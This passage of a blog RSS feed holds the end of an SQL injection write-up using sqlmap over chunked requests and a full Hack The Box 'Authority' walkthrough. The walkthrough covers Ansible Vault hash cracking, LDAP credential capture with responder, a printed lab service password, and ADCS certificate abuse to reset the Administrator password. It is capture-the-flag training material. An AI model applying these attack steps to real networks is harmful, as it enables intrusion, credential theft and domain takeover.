should contain the <strong>size of data</strong> that is being sent in that <strong>chunk</strong>, hence<strong> 8 as ‘search=4’ accounts for 8</strong> characters and then <strong>0 is stated such that no other data is coming</strong> and another newline to deem that the data is over.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*HCFsD4QMC3k2Kmmd46NkeQ.png" /></figure><p>Since, the server is checking for “<strong>chunked</strong>” as <strong>HTTP_TRANSFER_ENCODING</strong> and if we send the data that doesn’t mark the starting and ending of the data it will be deemed as error. But, the error we get is 500 error, and we won’t be able to get the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*NWTNmsz1TAq9QY6cSZkhNA.png" /></figure><p>Hence, <strong>sqlmap</strong> to the rescue. Let’s save the request and perform injection with sqlmap and check whether we could inject and exfiltrate the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*dCAoAJU4prXpbqXMLSSzSw.png" /></figure><blockquote>Note: <strong>req</strong> is the request to be sent to the server, <strong>risk</strong> and <strong>level</strong> is set to increase the number of queries, <strong>ignore-code</strong> to ignore the 500 error sent by the server, <strong>threads</strong> to make request a bit fast and <strong>— dump-all</strong> to dump the database.</blockquote><p>After successful injection and dump, we get the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y66pHV0jOmEyMiAf19UZrQ.png" /></figure><p>Time to celebrate.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c9d68c95f5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Authority Walkthrough]]></title>
            <link>https://shivamaharjan.medium.com/htb-authority-walkthrough-276633f0c59f?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/276633f0c59f</guid>
            <category><![CDATA[cad]]></category>
            <category><![CDATA[ansible-vault]]></category>
            <category><![CDATA[authority]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Sat, 09 Dec 2023 17:05:55 GMT</pubDate>
            <atom:updated>2023-12-09T17:05:55.770Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*s_UmjyNXfLmAVs5H1aW33w.png" /></figure><p>Upon scanning the system, we got a lot of open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALx31csHGdVQWneNO3HJeA.png" /></figure><p>We can see smb port is open as well. Upon inspection, there are two shares, we can read as guest. Among them only <strong>Development</strong> has some data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*vbE_6m0fUfTYqfMUpCkzzw.png" /></figure><p>So, now let’s go inside the share. Download the folder. Since, we have to recursively download the folder, the commands in the pictures can be helpful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*LlCiERdky27wWJVK5yUAxw.png" /></figure><p>Inside the folder, there is another folder, which also has 4 folders (ADCS, LDAP, PWM, SHARE) inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*5t4jCBGkqeCt9p85Ar0HYA.png" /></figure><p>We can see many files in the folders. But, one interesting folder is <strong>PWM</strong>. It is interesting because we have got one port associated with it i.e. 8443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*VX-WYVu8w2mNfoF8Wh7CJA.png" /></figure><p>— snip —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*TTmo9uCuibJBl9PEmT1eaA.png" /></figure><p>We can see the website as well. But we don’t have the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*wTAEl40p7l3fOp2pIEpUQg.png" /></figure><p>Among the files in PWM folder, we get one interesting file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*PIl5ETQ-g2h62Mvs3k_4vQ.png" /></figure><p>It contains many hash stated as Ansible Vault.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*LLhbWpP0iiqYQ59OKIXZZg.png" /></figure><p>Let’s copy these credentials to seperate file (i.e. data_1.yml) and let the john do the work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*iIWfHgRjucBlLUJBWH-_zw.png" /></figure><p>Now using ansible2john, convert the data to crackable format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jav2wqbuvBVZBeUlhblJJA.png" /></figure><p>Do the same to all other data. Now, let’s crack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*kacGrZBdAymj2JOdiclgMA.png" /></figure><p>As, we can see all the data have been encrypted with same password. Now lets crack the data_{1–3}.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*WduQr1vC8v1Ggsb8JsaS4A.png" /></figure><p>Now, lets login to the pwm configuration manager page as we don’t have username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*GAfTawmTMSTut9rw0Xm4jQ.png" /></figure><p>Once successful login, we get the following page. But nothing in the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*xvbINBSUNhmJuUqU6DXy0A.png" /></figure><p>But, we got Configuration Editor, which help us edit the configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*3MGlSwt2jXl8qEYx4andvA.png" /></figure><p>Now, we can setup LDAP directories which can be directed towards our system running responder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*boBsLHMbArG8RsaAuZpNbg.png" /></figure><p>Change the LDAP url to our ip and port 389. 389 because we don’t use ssl. And click the “Test LDAP Profile”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*T0Kq7n8NL-E-CKWaazP4xw.png" /></figure><p>Once, we get the hit. We will get some data from the server that may contain some credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Th_hhE5_c7A5QQdMvsIfMQ.png" /></figure><p>We get some cleartext data.</p><p>username: svc_ldap</p><p>password: lDaP_1n_th3_cle4r!</p><p>After checking if we can login in to the system using the provided credentials, we get success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFW5ZuSOrqYoKEq0PoqY1g.png" /></figure><p>Now let’s login to the system using evil-winrm. We got reverse-shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6wP5StoVbCSArUS2rqCtw.png" /></figure><p>We got the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*p-g24i9UbBVfxtgCuqZh6w.png" /></figure><p>Now let’s look at the privileges our user gets. We can add any workstations to domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*KcuVNrVg_2K67YkQXhStrQ.png" /></figure><p>which means</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*CY_LZVj4fn72iyikD6IsJw.png" /></figure><p>Upon inspection of the system we could not find anything. But we had ADCS folder in our share, so let’s check if we can find any vulnerabilities in the certificate side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*etLHvXr-b8_i-IVSnTajqg.png" /></figure><p>— snip —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*RnPRouIQO6W7FoEip_bz1Q.png" /></figure><p>— snip —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*FhchKWRTWRn-bckox33wvg.png" /></figure><p>— snip —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*57b26uVOJ9TpoiAzjwpkYg.png" /></figure><p>— snip —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDacNbWH8jvZV1tb4Na7Jg.png" /></figure><p>We can read about the vulnerability in the following link:</p><p><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">Certified Pre-Owned</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*vWMlP592VHU8Fp4T2G3Z_w.png" /></figure><p>Now since we have privilege to add any workstation to the domain, let’s add one using the impacket-addcomputer to our group as well as domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0fnp2yy4IpJdL4QSJ5X7jg.png" /></figure><p>Now, if above vulnerability is true we might as well request for a certificate and private key with the vulnerable CA and Template having User Principle Name (upn) as Administrator. It will let our new user become the user specified in the upn. We can use certipy-ad module.</p><p>A snip from above mentioned url.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*XWXgwavTlaEM-s62WEeynw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*8n6L_aI1SRxIZUlm6P5a-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*z2eREWfXrPLigHk5OqrIkg.png" /></figure><p>Now, since we have certificate and private key, we can use passthecert.py to authenticate as Administrator and change the password.</p><p>The python script can be found on following link:</p><p><a href="https://github.com/AlmondOffSec/PassTheCert/tree/main/Python">PassTheCert/Python at main · AlmondOffSec/PassTheCert</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LL8q9hgdBOfl7NB-xt9SUA.png" /></figure><p>Now, the password of the administrator has been changed to above mentioned, we can logon to the machine with the newly found credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1keghNtYuLWlprBFv9DrtQ.png" /></figure><p>After successful login, we can find the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*JMFyYd_Mj8fZ8f7A0Ur8kw.png" /></figure><p><strong>To read:</strong></p><p><a href="https://www.cherryservers.com/blog/how-to-use-vault-to-protect-sensitive-ansible-data">https://www.cherryservers.com/blog/how-to-use-vault-to-protect-sensitive-ansible-data</a></p><p><a href="https://www.onlinehashcrack.com/tools-ansible-vault-hash-extractor.php">https://www.onlinehashcrack.com/tools-ansible-vault-hash-extractor.php</a></p><p><a href="https://www.thehacker.recipes/ad/movement/ad-cs">https://www.thehacker.recipes/ad/movement/ad-cs</a></p><p><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">https://posts.specterops.io/certified-pre-owned-d95910965cd2</a></p><p><a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin</a></p><p><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation</a></p><p><a href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html">https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html</a></p><p><a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd">https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=276633f0c59f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>